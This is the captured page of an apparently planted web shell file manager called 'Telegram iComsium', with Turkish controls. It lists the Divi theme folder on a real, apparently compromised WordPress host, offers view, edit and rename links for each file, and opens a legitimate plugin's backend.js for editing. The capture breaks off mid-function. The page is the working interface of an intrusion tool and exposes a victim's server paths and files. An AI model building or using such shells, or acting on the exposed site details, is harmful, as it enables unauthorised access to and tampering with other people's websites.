<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: backend.js</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">function sasoEventtickets(_myAjaxVar, doNotInit) {
	const { __, _x, _n, sprintf } = wp.i18n;
	let myAjax = _myAjaxVar;
	let self = this;
	let PREMIUM = null;
	var $ = jQuery;
	var PARAS = basics_ermittelURLParameter();
	var DATA = {
        /*action: &#039;&#039;,*/
        nonce: myAjax.nonce,
		last_nonce_check: 0
    };

	var system = {is_debug:false, DYNJS:{}, DYNJS_CACHE:{}};
	var FATAL_ERROR = false;
    var DIV = null;
    var LAYOUT = null;
    var DATA_LISTS = null;
	var DATA_AUTHTOKENS = null;
    var OPTIONS = {
		list:[], mapKeys:{},
		versions:{mapKeys:{}},
		meta_tags_keys:{list:[], mapKeys:{}},
		infos:{},
		tickets_for_testing:[],
		options_special:{},
		dismissed_suggestions:[]
	};

	var STATE = null;

    if (_myAjaxVar._doNotInit) doNotInit = true;

	function time() {
		return new Date().getTime();
	}

	// Format activation timestamp (&quot;YYYY-MM-DD HH:MM:SS&quot; or with trailing &quot;~&quot; for estimate)
	// to a localized date. The &quot;~&quot; suffix marks values derived from filesystem mtime
	// rather than a real activation event — they&#039;re shown with &quot;(estimate)&quot; hint.
	function _formatActivationDate(s) {
		if (!s) return &#039;&#039;;
		var isEstimate = s.slice(-1) === &#039;~&#039;;
		if (isEstimate) s = s.slice(0, -1);
		var d = new Date(s.replace(&#039; &#039;, &#039;T&#039;) + &#039;Z&#039;);
		if (isNaN(d.getTime())) return s + (isEstimate ? &#039; (estimate)&#039; : &#039;&#039;);
		var dateStr = d.toLocaleDateString();
		return dateStr + (isEstimate ? &#039; (estimate)&#039; : &#039;&#039;);
	}

	function destroy_tags(t) {
		if (t != null) {
			t = t.replace(&quot;&lt;&quot;, &quot;&quot;).replace(&quot;&gt;&quot;,&quot;&quot;);
		}
		return t;
	}

	function _requestURL(action, myData) {
		let paras = &#039;?action=&#039;+myAjax._action+&#039;&amp;a_sngmbh=&#039;+action+&#039;&amp;nonce=&#039;+ DATA.nonce+&#039;&amp;t=&#039;+time();
		if (myData) {
			for(let key in myData) paras += &#039;&amp;data[&#039;+key+&#039;]=&#039;+encodeURIComponent(myData[key]);
		}
		for(let key in DATA) paras += &#039;&amp;&#039;+key+&#039;=&#039;+encodeURIComponent(DATA[key]);
		return myAjax.url + paras;
	}

	function _makePost(action, myData, cbf, ecbf, pcbf) {
		if (FATAL_ERROR) return;
		let _data = Object.assign({}, DATA);
		_data.action = myAjax._action;
		_data.a_sngmbh = action;
		_data.t = new Date().getTime();
		_data.nonce = DATA.nonce;
		pcbf &amp;&amp; pcbf();
		for(var key in myData) _data[&#039;data[&#039;+key+&#039;]&#039;] = myData[key];
		// Pass through debug parameter if set in URL
		var urlParams = new URLSearchParams(window.location.search);
		if (urlParams.has(&#039;VollstartValidatorDebug&#039;)) {
			_data[&#039;VollstartValidatorDebug&#039;] = urlParams.get(&#039;VollstartValidatorDebug&#039;) || &#039;1&#039;;
		}
        $.post( myAjax.url, _data, function( response ) {
			if (response &amp;&amp; response.data &amp;&amp; response.data.nonce) {
                DATA.last_nonce_check = new Date().getTime();
                DATA.nonce = response.data.nonce;
            }
            if (!response.success) {
            	if (ecbf) ecbf(response);
            	else LAYOUT.renderFatalError(response.data);
            } else {
            	cbf &amp;&amp; cbf(response.data);
            }
        }).fail(function(jqXHR, textStatus) {
			if (ecbf) ecbf({success:false, data:textStatus});
			else LAYOUT.renderFatalError(textStatus);
		});
	}

	function _makeGet(action, myData, cbf, ecbf, pcbf) {
		if (FATAL_ERROR) return;
		let _data = Object.assign({}, DATA);
		_data.action = myAjax._action;
		_data.a_sngmbh = action;
		_data.t = new Date().getTime();
		_data.nonce = DATA.nonce;
		pcbf &amp;&amp; pcbf();
		for(var key in myData) _data[&#039;data[&#039;+key+&#039;]&#039;] = myData[key];
		// Pass through debug parameter if set in URL
		var urlParams = new URLSearchParams(window.location.search);
		if (urlParams.has(&#039;VollstartValidatorDebug&#039;)) {
			_data[&#039;VollstartValidatorDebug&#039;] = urlParams.get(&#039;VollstartValidatorDebug&#039;) || &#039;1&#039;;
		}
        $.get( myAjax.url, _data, function( response ) {
			if (response &amp;&amp; response.data &amp;&amp; response.data.nonce) {
                DATA.last_nonce_check = new Date().getTime();
                DATA.nonce = response.data.nonce;
            }
            if (!response.success) {
				if (ecbf) ecbf(response);
            	else LAYOUT.renderFatalError(response.data);
            } else {
            	cbf &amp;&amp; cbf(response.data);
            }
        }).fail(function(jqXHR, textStatus) {
			if (ecbf) ecbf({success:false, data:textStatus});
			else LAYOUT.renderFatalError(textStatus);
		});
	}

	function getOptionsFromServer(cbf, ecbf, pcbf) {
		_makeGet(&#039;getOptions&#039;, {}, options=&gt;{
			_setOptions(options);
			cbf &amp;&amp; cbf(options);
		}, ecbf, pcbf);
	}

	function _downloadFile(action, myData, filenameToStore, cbf, ecbf, pcbf) {
		let _data = Object.assign({}, DATA);
		_data.action = myAjax._action;
		_data.a_sngmbh = action;
		_data.t = new Date().getTime();
		_data.nonce = DATA.nonce;
		pcbf &amp;&amp; pcbf();
		for(var key in myData) _data[&#039;data[&#039;+key+&#039;]&#039;] = myData[key];
		let params = &quot;&quot;;
		for(var key in _data) params += key+&quot;=&quot;+_data[key]+&quot;&amp;&quot;;
		let url = myAjax.url+&#039;?&#039;+params;
		let window_name = myData.code ? myData.code : &#039;_blank&#039;;
		let new_window = window.open(url, window_name);
		//window.location.href = url;
		//ajax_downloadFile(url, filenameToStore, cbf);
	}
	function ajax_downloadFile(urlToSend, fileName, cbf) {
		var req = new XMLHttpRequest();
		req.open(&quot;GET&quot;, urlToSend, true);
		req.responseType = &quot;blob&quot;;
		req.onload = function (event) {
			var blob = req.response;
			//var fileName = req.getResponseHeader(&quot;X-fileName&quot;) //if you have the fileName header available
			var link=document.createElement(&#039;a&#039;);
			link.href=window.URL.createObjectURL(blob);
			link.download=fileName;
			link.click();
			cbf &amp;&amp; cbf();
		};

		req.send();
	}

	function speakOutLoud(v, display) {
		if (&#039;speechSynthesis&#039; in window) {
			var t = typeof v === &#039;object&#039; ? &#039;Value is an object.&#039; : v;
			if (t.trim() == &quot;&quot;) t = &#039;Value is empty&#039;;
			var msg = new SpeechSynthesisUtterance(t);
			msg.lang = &quot;en-US&quot;;
			window.speechSynthesis.speak(msg);
			if (display) console.log(&quot;Speak:&quot;, v);
		} else {
			console.log(v);
		}
	}
	function _saveOptionValue(key, value, cbf, pcbf) {
		_makePost(&#039;changeOption&#039;, {&#039;key&#039;:key, &#039;value&#039;:value},
		()=&gt;{
			cbf &amp;&amp; cbf();
			if (key == &quot;wcTicketDesignerTemplateTest&quot;) {
				$(&quot;#wcTicketDesignerTemplateTest_button_PDF&quot;).prop(&quot;disabled&quot;, false).text(__(&#039;Preview Test Template Code as PDF&#039;, &#039;event-tickets-with-ticket-scanner&#039;));
			}
			if (key == &quot;serial&quot;) {
				// Hide license-related admin banners immediately — server has suppressed
